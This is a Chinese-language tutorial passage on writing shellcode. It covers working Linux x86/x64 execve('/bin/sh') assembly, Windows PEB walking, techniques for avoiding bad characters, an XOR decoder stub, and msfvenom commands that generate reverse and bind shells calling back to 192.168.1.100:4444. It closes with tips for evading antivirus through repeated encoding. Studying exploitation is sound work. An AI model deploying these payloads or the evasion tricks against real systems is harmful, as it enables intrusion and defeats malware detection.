4、Shellcode编写与编码:从原理到实战
Shellcode,说白了就是一段能直接执行的机器码。我刚开始接触时也觉得这东西很神秘,后来发现,它其实就是我们精心构造的“恶意载荷”。今天咱们就把它彻底讲透。
4.1 Linux x86/x64 Shellcode编写
Linux下的Shellcode,核心思路就一个:通过系统调用来完成目标操作。比如执行 /bin/sh,本质就是调用 execve 系统调用。
x86 下的经典写法
先看一个最简单的例子——执行 /bin/sh:
; x86 Linux execve("/bin/sh", NULL, NULL)
BITS 32
xor eax, eax ; 清空 eax
push eax ; 字符串结束符 '\0'
push 0x68732f2f ; "hs//"
push 0x6e69622f ; "nib/"
mov ebx, esp ; ebx = 指向 "/bin//sh" 的指针
xor ecx, ecx ; ecx = 0 (argv = NULL)
xor edx, edx ; edx = 0 (envp = NULL)
mov al, 0x0b ; syscall number for execve
int 0x80 ; 触发系统调用
嗯,这里要注意:为什么用 //sh 而不是 /sh?因为 // 在路径解析时等同于 /,而且多一个斜杠能帮我们凑齐4字节对齐。我在项目中遇到过,有些漏洞利用场景下,字节对齐问题会直接导致Shellcode崩溃。
x64 下的差异
到了64位环境,系统调用方式变了。参数通过寄存器传递,不再是栈传递:
; x64 Linux execve("/bin/sh", NULL, NULL)
BITS 64
xor rdx, rdx ; rdx = 0 (envp = NULL)
mov rbx, 0x68732f6e69622f ; "/bin/sh" 注意字节序
push rbx
mov rdi, rsp ; rdi = 指向 "/bin/sh" 的指针
xor rsi, rsi ; rsi = 0 (argv = NULL)
xor rax, rax
mov al, 59 ; syscall number for execve (59)
syscall ; 触发系统调用
关键区别:x64 用 syscall 指令代替 int 0x80,参数顺序为 rdi、rsi、rdx、r10、r8、r9。系统调用号也变了,execve 从 0x0b 变成了 59。
4.2 Windows Shellcode编写
Windows 下的Shellcode编写,我个人觉得比Linux麻烦不少。为什么?因为Windows没有固定的系统调用接口,你得通过API来实现。
核心思路是:先找到 kernel32.dll 的基址,然后解析出需要的API地址。我常用的方法是利用PEB(进程环境块)来定位:
; Windows x86 MessageBox Shellcode (简化版)
BITS 32
; 通过FS段寄存器获取PEB
mov eax, fs:[0x30] ; PEB
mov eax, [eax + 0x0c] ; LDR
mov eax, [eax + 0x14] ; InMemoryOrderModuleList
mov eax, [eax] ; 第二个模块 (ntdll.dll)
mov eax, [eax] ; 第三个模块 (kernel32.dll)
mov eax, [eax + 0x10] ; 基址
; 然后解析导出表找到需要的API...
; 这部分代码较长,这里只展示核心思路
我的经验:Windows Shellcode最坑的是API地址会因系统版本和补丁不同而变化。所以我建议用哈希查找法——把API名字哈希后匹配,而不是硬编码地址。我曾经在Win7上写好的Shellcode,放到Win10上直接崩了,就是因为API地址变了。
4.3 避免空字节(Bad Character)
空字节(0x00)是Shellcode的头号敌人。为什么?因为很多字符串处理函数(如 strcpy)遇到0x00就停止拷贝了。你想想看,如果Shellcode中间有个0x00,那后面的代码全没了。
常见的坏字符还包括:0x0a(换行)、0x0d(回车)、0x20(空格)等,具体取决于漏洞环境。
避免空字节的技巧:
- 用 xor 代替 mov:
xor eax, eax比mov eax, 0更安全,因为后者会生成0x00字节 - 用 sub 代替 push: 比如
sub esp, 4代替push 0 - 用 inc/dec 构造数值: 避免直接使用包含0x00的立即数
- 利用移位操作: 比如
mov eax, 0x01010101然后shl eax, 8得到0x01010100
避坑指南:我曾经在写一个针对IIS的漏洞利用时,忘了检查0x0d这个坏字符。结果Shellcode在HTTP请求中被截断了,因为HTTP协议把0x0d当作行结束符。那次调试了我整整两天才找到原因。
4.4 编码器(Encoder)与解码器(Decoder)实现
当Shellcode本身无法避免坏字符时,我们就需要编码器了。原理很简单:把Shellcode编码成不含坏字符的形式,然后在运行时通过解码器还原。
一个经典的XOR编码器实现:
; 解码器 (Decoder) 示例
BITS 32
start:
jmp short get_shellcode ; 跳转到Shellcode地址
decoder:
pop esi ; esi = Shellcode起始地址
xor ecx, ecx
mov cx, 0x100 ; Shellcode长度
xor eax, eax
mov al, 0x55 ; XOR密钥
decode_loop:
xor byte [esi + ecx - 1], al ; 逐字节解码
loop decode_loop
jmp short shellcode ; 跳转到解码后的Shellcode
get_shellcode:
call decoder
shellcode:
; 这里是编码后的Shellcode数据
这个解码器本身也要避免坏字符。你看,我用 jmp/call/pop 这种经典手法来获取Shellcode地址,而不是硬编码地址——这样更通用。
4.5 msfvenom生成与定制
说实话,现在很少有人手写完整的Shellcode了。msfvenom 是 Metasploit 框架自带的Shellcode生成工具,用起来非常方便。
基本用法:
# 生成Linux x86反向连接Shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
# 指定坏字符
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -b '\x00\x0a\x0d' -f c
# 使用编码器
msfvenom -p linux/x64/shell_bind_tcp LPORT=4444 -e x64/xor -f python
| 参数 | 说明 | 我的建议 |
|---|---|---|
| -p | 指定payload | 优先用 staged 版本,体积小 |
| -b | 指定坏字符 | 先分析漏洞环境再定 |
| -e | 指定编码器 | x86/shikata_ga_nai 最稳 |
| -f | 输出格式 | c、python、raw 最常用 |
定制技巧:msfvenom 生成的Shellcode默认会包含一些特征字节,容易被杀软检测到。我一般会加 -i 5 参数迭代编码5次,或者用 -e x86/fnstenv_mov 这种不常见的编码器来绕过静态检测。
嗯,最后说一句:Shellcode编写是个熟能生巧的活。你刚开始可能觉得难,但多写几次就会发现规律。我个人建议,先在Linux下练手,因为环境简单、调试方便。等Linux玩熟了,再挑战Windows——那时候你会发现,很多思路是相通的。